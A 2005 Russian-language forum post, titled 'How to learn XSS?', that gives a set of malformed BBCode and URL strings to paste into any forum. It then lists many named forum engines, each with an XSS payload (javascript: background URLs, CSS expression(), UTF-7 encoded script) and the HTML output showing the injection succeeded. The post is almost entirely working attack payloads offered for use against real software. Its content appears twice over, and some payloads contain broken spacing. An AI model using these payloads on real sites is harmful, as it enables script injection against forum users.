tys
27.11.2005, 00:37
Как научится XSS?
А вот так,
Берем вот эту комбинацию, и суём на любой форум.
http://www.wj'"`.com
wj (http://www.wj'"`.com)
wj@wj'"`.com
wj (wj@wj'"`.com)
http://www.wj'"`.gif
http://www.wj1http://www.wj1.com.com
http://www.wj2.com (http://www.wj2wj2
wj3@wj3http://www.wj3.com.com
http://www.wj4.com[/url].com]wj4 (wj4@wj4http://www.wj5http://www.wj5.com.gif[/img]
http://www.wj6wj6 (http://www.wj6.com).com
wj7 (http://www.wj7wj7
wj8@wj8wj8 (http://www.wj8.com).com
wj9.com]wj9 (wj9@wj9http://www.wj10wj10 (http://www.wj10.com).gif[/img]
http://www.wj11wj11@wj11.com.com
wj12@wj12.com[/email].com]wj12 (http://www.wj12wj13@wj13wj13@wj13.com.com
wj14@wj14.com (wj14@wj14wj14
http://www.wj15wj15@wj15.com.gif
http://www.wj16wj16 (wj16@wj16.com).com
wj17[/email].com]wj17 (http://www.wj17wj18@wj18wj18 (wj18@wj18.com).com
wj19 (wj19@wj19wj19
http://www.wj20wj20 (wj20@wj20.com).gif
http://www.wj21http://www.wj21.gif.com
http://www.wj22.gif[/img].com]wj22 (http://www.wj22wj23@wj23http://www.wj23.gif.com[/email]
http://www.wj24.gif.com]wj24 (wj24@wj24http://www.wj25http://www.wj25.gif.gif
Вот результат,
Иду по списку... :rolleyes:
http://www.foruminsider.com/index.php?act=directory
Powered by Active Data Online DiscussionBoard 1.7
Alert.
<dbml:font face="Edwardian "wj style=display:none;background:url(javascript:alert ())>
Result.
<FONT face="Edwardian "wj style=display:none;background:url(javascript:alert ())>
Powered by AppliedBB[.QUOTE] = Unrealesed.
[QUOTE]Powered by ASP-DEv XM Forums RC 3
Alert.
http://www.wjhttp://www.wj.gif`=``style=`display:none;background:url(j avascript:alert())`
Result.
<img src="http://www.wj<img src="http://www.wj.gif`=` border=0 />" border="0" />`style=`display:none;background:url(javascript:ale rt())`
Forum Software © ASPPlayground.NET Advanced Edition
Alert.
http://www.wj6 (http://www.wj6.com`=`)`style=`display:none;background:url (javascript:alert())`
Result.
<a href="http://www.wj6<a href="http://www.wj6.com`=`" target="_blank">" target="_blank">http://www.wj6<a href="http://www.wj6.com`=`" target="_blank"></a></a>`style=`display:none;background:url(javascript:ale rt())`
aXentForum is Copyright © 2004 aXent Productions. All Rights Reserved.
Alert.
+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-
Result.
+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-
Comment: Тегов нет, но в мессаге и в названии темы, XSS атака UTF-7 проходит.
Powered by: bbBoard v2 (License number: 1021-216-1240-30)
Copyright 2003-2004 bbNetwork Ltd
Alert.
wj18@wj18wj18 (wj18@wj18.com`=`).com`style=`display:none;backgro und:url(javascript:alert())`
Result.
<a href="mailto:wj18@wj18<a href="mailto:wj18@wj18.com`=`">wj18">wj18@wj18wj18</a>.com</a>`style=`display:none;background:url(javascript:ale rt())`
Powered by: bbPress = Unrealesed.
Forum Software: Burning Board 2.3.3, Developed by WoltLab GmbH
Alert.
wj8@wj8[url=http://www.wj8.com/style=background:expression(alert());]wj8.com (wj18@wj18.com`=`)/[HTML]
Result.
[HTML]<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>
Powered by Burning Board Lite 1.0.2 © 2001-2004 WoltLab GmbH
English Translation by Satelk
Alert.
wj8@wj8wj8 (http://www.wj8.com/style=background:expression(alert());).com
Result.
<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>
Powered by C-Forum2, v.1000
Copyright © Silvernode Systems 2001-2004
All rights reserved.
Alert.
wj17.com]wj17 (http://www.wj17wj18@wj18wj18 (wj18@wj18.com).com
Result.
<table width='95%' align='center' cellpadding='3' cellspacing='1' class='table'><tr><td class='type_t'><br><a target='_new' href="http://www.wj17<a href="mailto:wj17@wj17`=`">wj17[/email">.com]wj17</a>` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`<br>wj18@wj18wj18</a>.com (wj18@wj18.com)<br></td></tr></table>
CBB Community | Powered by: CBB 0.9
Copyright © 2002 - 2005, CBB Dev Team - All rights reserved.
Alert.
http://www.wj21http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif.com
Result.
<a href="http://www.wj21<img src="http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif" alt="" style="border: 0;" />.com" target="_blank">http://www.wj21<img src="http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif" alt="" style="border: 0;" />.com</a>
Powered by CuteCast Version 3.0
Copyright © 2000-2005 ArtsCore Studios
Alert.
[email]wj3@wj3http://www.wj3.com`=`.com`style=`background:url(javascrip t:alert(/wj/));`
Result.
<font class="mfont"><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));` </font>
Powered by CuteCast v2.0 BETA 2
Copyright © 2001-2003 ArtsCore Studios
Alert.
wj3@wj3http://www.wj3.com`=`.com`style=`background:url(javascrip t:alert(/wj/));`
Result.
<font class=ntext><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));`</font>
Powered by DCForum+ Version 1.27
Copyright 1997-2003 DCScripts.com
Alert.
wj (wj@wj.com wj=`)`style=`background:url(javascript:alert(/wj/));`
Result.
<email=wj@wj.com wj=`>wj</email>`style=`background:url(javascript:alert(/wj/));`</ul>
Powered by DCForum Version 6.25
© 1997-2003 DCScripts. All rights reserved.
Alert.
wj (wj@wj'"`.com wj=`)` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`
Result.
<blockquote>
<email=wj@wj'"`.com wj=`>wj</email>` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`
</blockquote>
Powered by E-Blah Platinum 9 © 2001-2005
Alert.
http://www.wj10wj10 (http://www.wj10.com`=`).gif` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Result.
<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Copyright 2001-2005 E-Blah. All Rights Reserved. About Us - Contact
Alert.
http://www.wj10wj10 (http://www.wj10.com`=`).gif` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Result.
<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
А вот так,
Берем вот эту комбинацию, и суём на любой форум.
http://www.wj'"`.com
wj (http://www.wj'"`.com)
wj@wj'"`.com
wj (wj@wj'"`.com)
http://www.wj'"`.gif
http://www.wj1http://www.wj1.com.com
http://www.wj2.com (http://www.wj2wj2
wj3@wj3http://www.wj3.com.com
http://www.wj4.com[/url].com]wj4 (wj4@wj4http://www.wj5http://www.wj5.com.gif[/img]
http://www.wj6wj6 (http://www.wj6.com).com
wj7 (http://www.wj7wj7
wj8@wj8wj8 (http://www.wj8.com).com
wj9.com]wj9 (wj9@wj9http://www.wj10wj10 (http://www.wj10.com).gif[/img]
http://www.wj11wj11@wj11.com.com
wj12@wj12.com[/email].com]wj12 (http://www.wj12wj13@wj13wj13@wj13.com.com
wj14@wj14.com (wj14@wj14wj14
http://www.wj15wj15@wj15.com.gif
http://www.wj16wj16 (wj16@wj16.com).com
wj17[/email].com]wj17 (http://www.wj17wj18@wj18wj18 (wj18@wj18.com).com
wj19 (wj19@wj19wj19
http://www.wj20wj20 (wj20@wj20.com).gif
http://www.wj21http://www.wj21.gif.com
http://www.wj22.gif[/img].com]wj22 (http://www.wj22wj23@wj23http://www.wj23.gif.com[/email]
http://www.wj24.gif.com]wj24 (wj24@wj24http://www.wj25http://www.wj25.gif.gif
Вот результат,
Иду по списку... :rolleyes:
http://www.foruminsider.com/index.php?act=directory
Powered by Active Data Online DiscussionBoard 1.7
Alert.
<dbml:font face="Edwardian "wj style=display:none;background:url(javascript:alert ())>
Result.
<FONT face="Edwardian "wj style=display:none;background:url(javascript:alert ())>
Powered by AppliedBB[.QUOTE] = Unrealesed.
[QUOTE]Powered by ASP-DEv XM Forums RC 3
Alert.
http://www.wjhttp://www.wj.gif`=``style=`display:none;background:url(j avascript:alert())`
Result.
<img src="http://www.wj<img src="http://www.wj.gif`=` border=0 />" border="0" />`style=`display:none;background:url(javascript:ale rt())`
Forum Software © ASPPlayground.NET Advanced Edition
Alert.
http://www.wj6 (http://www.wj6.com`=`)`style=`display:none;background:url (javascript:alert())`
Result.
<a href="http://www.wj6<a href="http://www.wj6.com`=`" target="_blank">" target="_blank">http://www.wj6<a href="http://www.wj6.com`=`" target="_blank"></a></a>`style=`display:none;background:url(javascript:ale rt())`
aXentForum is Copyright © 2004 aXent Productions. All Rights Reserved.
Alert.
+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-
Result.
+ADw-/title+AD4APA-script+AD4-alert(/WJ/)+ADsAPA-/script+AD4-
Comment: Тегов нет, но в мессаге и в названии темы, XSS атака UTF-7 проходит.
Powered by: bbBoard v2 (License number: 1021-216-1240-30)
Copyright 2003-2004 bbNetwork Ltd
Alert.
wj18@wj18wj18 (wj18@wj18.com`=`).com`style=`display:none;backgro und:url(javascript:alert())`
Result.
<a href="mailto:wj18@wj18<a href="mailto:wj18@wj18.com`=`">wj18">wj18@wj18wj18</a>.com</a>`style=`display:none;background:url(javascript:ale rt())`
Powered by: bbPress = Unrealesed.
Forum Software: Burning Board 2.3.3, Developed by WoltLab GmbH
Alert.
wj8@wj8[url=http://www.wj8.com/style=background:expression(alert());]wj8.com (wj18@wj18.com`=`)/[HTML]
Result.
[HTML]<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>
Powered by Burning Board Lite 1.0.2 © 2001-2004 WoltLab GmbH
English Translation by Satelk
Alert.
wj8@wj8wj8 (http://www.wj8.com/style=background:expression(alert());).com
Result.
<a href="mailto:wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com">wj8@wj8<a href="http://www.wj8.com/style=background:expression(alert());" target="_blank">wj8</a>.com</a>
Powered by C-Forum2, v.1000
Copyright © Silvernode Systems 2001-2004
All rights reserved.
Alert.
wj17.com]wj17 (http://www.wj17wj18@wj18wj18 (wj18@wj18.com).com
Result.
<table width='95%' align='center' cellpadding='3' cellspacing='1' class='table'><tr><td class='type_t'><br><a target='_new' href="http://www.wj17<a href="mailto:wj17@wj17`=`">wj17[/email">.com]wj17</a>` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`<br>wj18@wj18wj18</a>.com (wj18@wj18.com)<br></td></tr></table>
CBB Community | Powered by: CBB 0.9
Copyright © 2002 - 2005, CBB Dev Team - All rights reserved.
Alert.
http://www.wj21http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif.com
Result.
<a href="http://www.wj21<img src="http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif" alt="" style="border: 0;" />.com" target="_blank">http://www.wj21<img src="http://www.wj21/style=`background:url(javascript:alert(/Hi_from_Algol/))`.gif" alt="" style="border: 0;" />.com</a>
Powered by CuteCast Version 3.0
Copyright © 2000-2005 ArtsCore Studios
Alert.
[email]wj3@wj3http://www.wj3.com`=`.com`style=`background:url(javascrip t:alert(/wj/));`
Result.
<font class="mfont"><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`">http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));` </font>
Powered by CuteCast v2.0 BETA 2
Copyright © 2001-2003 ArtsCore Studios
Alert.
wj3@wj3http://www.wj3.com`=`.com`style=`background:url(javascrip t:alert(/wj/));`
Result.
<font class=ntext><a href="mailto:wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com">wj3@wj3<a href="http://www.wj3.com`=`?session=S2jGuGVITxFMy4Xk10fK8dc5jy" target=_top>http://www.wj3.com`=`</a>.com</a>`style=`background:url(javascript:alert(/wj/));`</font>
Powered by DCForum+ Version 1.27
Copyright 1997-2003 DCScripts.com
Alert.
wj (wj@wj.com wj=`)`style=`background:url(javascript:alert(/wj/));`
Result.
<email=wj@wj.com wj=`>wj</email>`style=`background:url(javascript:alert(/wj/));`</ul>
Powered by DCForum Version 6.25
© 1997-2003 DCScripts. All rights reserved.
Alert.
wj (wj@wj'"`.com wj=`)` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`
Result.
<blockquote>
<email=wj@wj'"`.com wj=`>wj</email>` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`
</blockquote>
Powered by E-Blah Platinum 9 © 2001-2005
Alert.
http://www.wj10wj10 (http://www.wj10.com`=`).gif` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Result.
<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Copyright 2001-2005 E-Blah. All Rights Reserved. About Us - Contact
Alert.
http://www.wj10wj10 (http://www.wj10.com`=`).gif` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`
Result.
<img src="http://www.wj10<a href="http://www.wj10.com`=`" title="www.wj10.com`=`" target="_new">wj10</a>.gif" border="0">` style=`dysplay:none;background:url(javaSCript:aler t(/Hi_from_Algol/))`